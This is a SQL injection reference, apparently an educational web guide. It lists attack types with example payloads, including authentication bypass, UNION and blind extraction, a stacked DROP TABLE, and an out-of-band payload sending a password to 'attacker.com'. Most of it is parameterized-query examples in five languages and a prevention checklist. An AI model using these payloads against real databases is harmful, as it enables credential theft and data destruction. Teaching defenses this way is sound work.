Attack Types
In-band (Classic) most common
The attacker uses the same communication channel to launch the attack and gather results. Sub-types:
| Sub-type | Mechanism | Example |
|---|---|---|
| Error-based | Forces the DB to throw errors that reveal structure | ' OR 1=1 -- |
| Union-based | Appends UNION SELECT to pull data from other tables | ' UNION SELECT username,password FROM users -- |
Blind subtle
No data is returned directly. The attacker infers success from indirect cues — page differences, response times, or HTTP status.
| Sub-type | Mechanism | Example |
|---|---|---|
| Boolean-based | Sends queries that evaluate to TRUE/FALSE; observes page changes | ' AND 1=1 -- vs ' AND 1=2 -- |
| Time-based | Uses SLEEP()/pg_sleep() to infer truth from delay | ' AND IF(1=1,SLEEP(5),0) -- |
Out-of-band (OOB) advanced
Data is exfiltrated through a different channel — DNS lookups, HTTP requests, or email triggered by the DB engine.
Example: '; EXEC master..xp_dirtree '\\\\attacker.com\\'+(SELECT TOP 1 password FROM users)+'.share' --
Attack Examples
Authentication Bypass
A login form that concatenates user input directly into SQL:
SELECT * FROM users WHERE user='__INPUT__' AND pass='__INPUT__'
→ attacker enters →
admin' --
sqlCopy-- Resulting query:
SELECT * FROM users WHERE user='admin' --' AND pass=''
-- Everything after -- is a comment. Password check is skipped.
Data Exfiltration via UNION
An endpoint that filters by ID but doesn't limit columns:
sqlCopy-- Vulnerable query:
SELECT name, email FROM users WHERE id = USER_INPUT
-- Attacker input: 1 UNION SELECT username, password FROM admins --
SELECT name, email FROM users WHERE id = 1
UNION SELECT username, password FROM admins --
Blind Boolean Enumeration
Extracting data one bit at a time by observing different responses:
sqlCopy-- Does the admin password start with 'a'?
' AND SUBSTRING((SELECT password FROM users WHERE username='admin'),1,1)='a' --
-- Attacker iterates through characters until the page
-- returns "normal" content (TRUE branch).
Second-Order Injection
Payload is stored harmlessly at first, then executed later when used in a different query:
sqlCopy-- Step 1: Attacker registers username admin'--
-- Stored safely in the users table.
-- Step 2: Admin runs a password reset script:
UPDATE users SET password = 'NEW' WHERE username = 'admin'--'
-- The -- comments out the trailing quote, changing
-- the REAL admin's password instead.
Stacked Queries
Some configurations allow multiple statements separated by ;:
sqlCopy-- Vulnerable: query = "SELECT * FROM products WHERE id = " + input
-- Attacker input: 1; DROP TABLE users; --
SELECT * FROM products WHERE id = 1; DROP TABLE users; --
Prevention Strategies
1. Parameterized Queries (Prepared Statements) primary defense
Separates SQL logic from data. The database treats parameters as values, never as executable SQL — even if they contain SQL syntax.
pseudoCopy-- Instead of string concatenation:
"SELECT * FROM users WHERE id = " + userInput
-- Use placeholders (? or $1 or :id):
"SELECT * FROM users WHERE id = ?"
-- The DB driver binds userInput as a literal value.
2. ORM / Query Builder recommended
Object-Relational Mappers and query builders abstract SQL construction. They parameterize by default and reduce the chance of raw string concatenation.
| Language | Popular ORM | Query Builder |
|---|---|---|
| Node.js | Prisma, TypeORM, Sequelize | Knex |
| Python | Django ORM, SQLAlchemy | psycopg2 execute_values |
| PHP | Eloquent (Laravel), Doctrine | Laravel Query Builder |
| Java | Hibernate, JPA | jOOQ |
| Go | GORM, Ent | squirrel, goqu |
3. Input Validation & Allowlisting defense in depth
- Validate type, length, format, and range on every input
- Use allowlists (not blocklists) for expected values
- Reject or sanitize unexpected characters for the specific field (e.g., IDs should be numeric)
- Apply validation server-side — client-side is trivially bypassed
pseudoCopy// Allowlist example for sort column
const allowedSort = ['name', 'email', 'created_at'];
const sort = allowedSort.includes(userSort) ? userSort : 'created_at';
// Never inject userSort directly into SQL
4. Escaping (Last Resort) not sufficient alone
Escaping adds backslashes or replaces special characters. It is fragile and context-dependent (MySQL vs PostgreSQL vs MSSQL). Prefer parameterized queries.
pseudoCopy// If you absolutely must escape:
// MySQL: mysql_real_escape_string($input)
// pg: pg_escape_string($input)
// But even these have edge cases with certain charsets.
// Use prepared statements instead.
5. Additional Layers
| Layer | What It Does |
|---|---|
| Least-privilege DB user | App connects with a user that cannot DROP tables or read unrelated schemas |
| WAF rules | Blocks obvious SQL keywords in input (defense in depth, not primary) |
| Stored procedures | Can parameterize internally, but only if they don't concatenate dynamically |
| Rate limiting | Slows down blind/time-based enumeration |
Node.js examples
node.jsCopy// ❌ VULNERABLE — string concatenation
const [rows] = await pool.execute(
`SELECT * FROM users WHERE email = '${req.body.email}'`
);
// ✅ SAFE — parameterized query with mysql2
const [rows] = await pool.execute(
'SELECT * FROM users WHERE email = ?',
[req.body.email]
);
// ✅ SAFE — named placeholders (mysql2)
const [rows] = await pool.execute(
'SELECT * FROM users WHERE id = :id AND status = :status',
{ id: req.params.id, status: 'active' }
);
node.jsCopy// ✅ SAFE — Sequelize ORM (parameterized internally)
const user = await User.findOne({
where: { email: req.body.email }
});
// ✅ SAFE — Sequelize with operators
const { Op } = require('sequelize');
const users = await User.findAll({
where: {
name: { [Op.iLike]: `%${req.query.search}%` }
}
});
// ✅ SAFE — raw replacement (Sequelize.bind)
const results = await sequelize.query(
'SELECT * FROM users WHERE id = $1',
{ bind: [req.params.id], type: sequelize.QueryTypes.SELECT }
);
node.jsCopy// ✅ SAFE — pg module with parameterized queries
const { Pool } = require('pg');
const pool = new Pool();
// Positional parameters ($1, $2, ...)
const result = await pool.query(
'SELECT * FROM users WHERE email = $1 AND active = $2',
[req.body.email, true]
);
// ✅ SAFE — prepared statement (reuse plan)
const name = 'get-user';
const text = 'SELECT * FROM users WHERE id = $1';
const values = [req.params.id];
const result = await pool.query({ name, text, values });
node.jsCopy// ✅ SAFE — Knex query builder
const knex = require('knex')({ client: 'pg', connection });
// Simple where
const user = await knex('users')
.where({ email: req.body.email })
.first();
// Dynamic column (allowlist!)
const sortCols = ['name', 'email', 'created_at'];
const sortCol = sortCols.includes(req.query.sort) ? req.query.sort : 'created_at';
const users = await knex('users')
.orderBy(sortCol, req.query.order === 'desc' ? 'desc' : 'asc')
.limit(50);
Python examples
pythonCopyimport sqlite3
conn = sqlite3.connect('app.db')
# ❌ VULNERABLE
conn.execute(f"SELECT * FROM users WHERE email = '{email}'")
# ✅ SAFE — positional placeholder (?)
conn.execute(
"SELECT * FROM users WHERE email = ?",
(email,)
)
# ✅ SAFE — with dict-style
conn.execute(
"SELECT * FROM users WHERE id = :id",
{"id": user_id}
)
pythonCopyimport psycopg2
conn = psycopg2.connect(dsn)
# ✅ SAFE — %s placeholders (NOT Python f-string %s)
cur = conn.cursor()
cur.execute(
"SELECT * FROM users WHERE email = %s AND active = %s",
(email, True)
)
# ✅ SAFE — named placeholders
cur.execute(
"SELECT * FROM users WHERE id = %(id)s",
{"id": user_id}
)
# ✅ SAFE —批量insert with execute_values
from psycopg2.extras import execute_values
execute_values(
cur,
"INSERT INTO logs (user_id, action) VALUES %s",
[(uid, action) for uid, action in events]
)
pythonCopyfrom sqlalchemy import create_engine, text
engine = create_engine("postgresql://...")
# ✅ SAFE — SQLAlchemy text() with :param
with engine.connect() as conn:
result = conn.execute(
text("SELECT * FROM users WHERE email = :email"),
{"email": email}
)
# ✅ SAFE — ORM session query
from sqlalchemy import select
stmt = select(User).where(User.email == email)
user = session.scalars(stmt).first()
# ✅ SAFE — bulk insert
conn.execute(
text("INSERT INTO events (type, data) VALUES (:type, :data)"),
[{"type": t, "data": d} for t, d in events]
)
pythonCopy# ✅ SAFE — Django ORM (parameterized internally)
user = User.objects.get(email=request.POST['email'])
# ✅ SAFE — filtered queryset
users = User.objects.filter(
name__icontains=request.GET['q'],
is_active=True,
)
# ✅ SAFE — raw SQL with params
from django.db import connection
with connection.cursor() as cur:
cur.execute(
"SELECT * FROM users WHERE email = %s",
[request.POST['email']]
)
rows = cur.fetchall()
# ❌ NEVER do this in Django:
# cur.execute("SELECT * FROM users WHERE email = '%s'" % email)
PHP examples
phpCopy<?php
$pdo = new PDO('mysql:host=localhost;dbname=app', $user, $pass);
$pdo->setAttribute(PDO::ATTR_ERRMODE, PDO::ERRMODE_EXCEPTION);
// ❌ VULNERABLE
$pdo->query("SELECT * FROM users WHERE email = '" . $_POST['email'] . "'");
// ✅ SAFE — positional placeholder
$stmt = $pdo->prepare('SELECT * FROM users WHERE email = ?');
$stmt->execute([$_POST['email']]);
// ✅ SAFE — named placeholder
$stmt = $pdo->prepare('SELECT * FROM users WHERE id = :id AND status = :status');
$stmt->execute([':id' => $id, ':status' => 'active']);
// ✅ SAFE — INSERT
$stmt = $pdo->prepare('INSERT INTO users (name, email) VALUES (:name, :email)');
$stmt->execute([':name' => $name, ':email' => $email]);
phpCopy<?php
$mysqli = new mysqli('localhost', $user, $pass, 'app');
// ✅ SAFE — prepared statement
$stmt = $mysqli->prepare('SELECT * FROM users WHERE email = ?');
$stmt->bind_param('s', $_POST['email']); // 's' = string
$stmt->execute();
$result = $stmt->get_result();
// ✅ SAFE — multiple types: s=string, i=integer, d=double, b=blob
$stmt = $mysqli->prepare('SELECT * FROM users WHERE id = ? AND role = ?');
$stmt->bind_param('is', $id, $role);
$stmt->execute();
// ✅ SAFE — INSERT
$stmt = $mysqli->prepare('INSERT INTO logs (user_id, action) VALUES (?, ?)');
$stmt->bind_param('is', $userId, $action);
$stmt->execute();
phpCopy// ✅ SAFE — Eloquent ORM (parameterized internally)
$user = User::where('email', $request->input('email'))->first();
// ✅ SAFE — query builder
$users = DB::table('users')
->where('name', 'like', '%' . $request->query('q') . '%')
->where('active', true)
->get();
// ✅ SAFE — raw with bindings
$users = DB::select(
'SELECT * FROM users WHERE email = ? AND role = ?',
[$email, $role]
);
// ✅ SAFE — named bindings
$users = DB::select(
'SELECT * FROM users WHERE id = :id',
['id' => $id]
);
Java examples
javaCopy// ❌ VULNERABLE
Statement stmt = conn.createStatement();
ResultSet rs = stmt.executeQuery(
"SELECT * FROM users WHERE email = '" + email + "'"
);
// ✅ SAFE — PreparedStatement with positional params (?)
String sql = "SELECT * FROM users WHERE email = ? AND active = ?";
PreparedStatement stmt = conn.prepareStatement(sql);
stmt.setString(1, email);
stmt.setBoolean(2, true);
ResultSet rs = stmt.executeQuery();
// ✅ SAFE — INSERT
String insert = "INSERT INTO users (name, email) VALUES (?, ?)";
PreparedStatement stmt = conn.prepareStatement(insert);
stmt.setString(1, name);
stmt.setString(2, email);
stmt.executeUpdate();
// ✅ SAFE — IN clause workaround (use a library or build placeholders)
List<String> ids = List.of("1", "2", "3");
String placeholders = String.join(",", Collections.nCopies(ids.size(), "?"));
String sql = "SELECT * FROM users WHERE id IN (" + placeholders + ")";
PreparedStatement stmt = conn.prepareStatement(sql);
for (int i = 0; i < ids.size(); i++) {
stmt.setString(i + 1, ids.get(i));
}
javaCopy// ✅ SAFE — Spring JdbcTemplate (parameterized internally)
@Autowired JdbcTemplate jdbc;
// Simple query
User user = jdbc.queryForObject(
"SELECT * FROM users WHERE email = ?",
(rs, rowNum) -> new User(rs.getString("name"), rs.getString("email")),
email
);
// Multiple params
List<User> users = jdbc.query(
"SELECT * FROM users WHERE role = ? AND active = ?",
(rs, rowNum) -> mapUser(rs),
role, true
);
// ✅ SAFE — NamedParameterJdbcTemplate
@Autowired NamedParameterJdbcTemplate namedJdbc;
Map<String, Object> params = Map.of("email", email, "status", "active");
List<User> users = namedJdbc.query(
"SELECT * FROM users WHERE email = :email AND status = :status",
params,
(rs, rowNum) -> mapUser(rs)
);
javaCopy// ✅ SAFE — Spring Data JPA Repository
public interface UserRepository extends JpaRepository<User, Long> {
User findByEmail(String email);
@Query("SELECT u FROM User u WHERE u.name LIKE %:keyword%")
List<User> searchByName(@Param("keyword") String keyword);
}
// ✅ SAFE — JPA Criteria API
CriteriaBuilder cb = em.getCriteriaBuilder();
CriteriaQuery<User> cq = cb.createQuery(User.class);
Root<User> root = cq.from(User.class);
cq.where(cb.equal(root.get("email"), email));
List<User> users = em.createQuery(cq).getResultList();
// ✅ SAFE — Native query with positional params
@Query(value = "SELECT * FROM users WHERE email = ?1", nativeQuery = true)
User findByEmailNative(String email);
Go examples
goCopyimport "database/sql"
// ❌ VULNERABLE
db.Query(fmt.Sprintf("SELECT * FROM users WHERE email = '%s'", email))
// ✅ SAFE — positional parameters
row := db.QueryRow("SELECT name FROM users WHERE email = $1", email)
var name string
if err := row.Scan(&name); err != nil {
log.Fatal(err)
}
// ✅ SAFE — MySQL uses ? placeholder
rows, err := db.Query("SELECT id, name FROM users WHERE role = ? AND active = ?", role, true)
// ✅ SAFE — INSERT
_, err = db.Exec(
"INSERT INTO users (name, email) VALUES (?, ?)",
name, email,
)
// ✅ SAFE — IN clause (build placeholders dynamically)
ids := []any{1, 2, 3}
placeholders := strings.Repeat("?,", len(ids))
placeholders = placeholders[:len(placeholders)-1]
query := fmt.Sprintf("SELECT * FROM users WHERE id IN (%s)", placeholders)
rows, err := db.Query(query, ids...)
goCopyimport "gorm.io/gorm"
// ✅ SAFE — GORM (parameterized internally)
var user User
db.Where("email = ?", email).First(&user)
// ✅ SAFE — struct conditions
db.Where(&User{Email: email}).First(&user)
// ✅ SAFE — search with LIKE
db.Where("name LIKE ?", "%"+keyword+"%").Find(&users)
// ✅ SAFE — raw SQL with params
var users []User
db.Raw("SELECT * FROM users WHERE role = ? AND active = ?", role, true).Scan(&users)
// ✅ SAFE — create
db.Create(&User{Name: name, Email: email})
goCopyimport "github.com/jmoiron/sqlx"
// ✅ SAFE — sqlx positional params
var user User
err := sqlx.Get(db, &user, "SELECT * FROM users WHERE email = $1", email)
// ✅ SAFE — sqlx named params
err := sqlx.NamedGet(db, &user,
"SELECT * FROM users WHERE email = :email",
map[string]any{"email": email},
)
// ✅ SAFE — IN clause with sqlx.In
ids := []int64{1, 2, 3}
query, args, err := sqlx.In("SELECT * FROM users WHERE id IN (?)", ids)
rows, err := db.Queryx(query, args...)
Detection & Prevention Checklist
Click items to mark as reviewed.
- All SQL queries use parameterized / prepared statements — no string concatenation or f-strings
- ORM query methods are used for all CRUD; no raw SQL unless parameterized
- Dynamic column names (ORDER BY, table names) use an allowlist, never direct user input
- Input validation (type, length, format) applied server-side on every field
- File uploads / blob inputs are never concatenated into SQL
- Stored procedures do not build dynamic SQL via concatenation internally
- Database user has minimum required privileges (no DROP, no information_schema access)
- Error messages in production do not expose SQL syntax, table names, or stack traces
- Second-order injection: all stored data is parameterized on re-use, not just on first insert
- IN clause queries use proper parameterization (not string-joined CSV)
- LIKE wildcards are added in code, not by the user input string
- Application has automated tests that pass malicious input (e.g.,
' OR 1=1 --) to every query endpoint - Static analysis / SAST tool (sqlmap, CodeQL, Semgrep) scans pass with no SQLi findings
- Rate limiting is applied to endpoints that accept user-supplied query parameters
- WAF rules block common SQLi patterns as defense in depth (not sole defense)
- Connection strings and DB credentials are not in source control — use secrets management
- Logging and monitoring detect anomalous query patterns (time-based, UNION, stacked queries)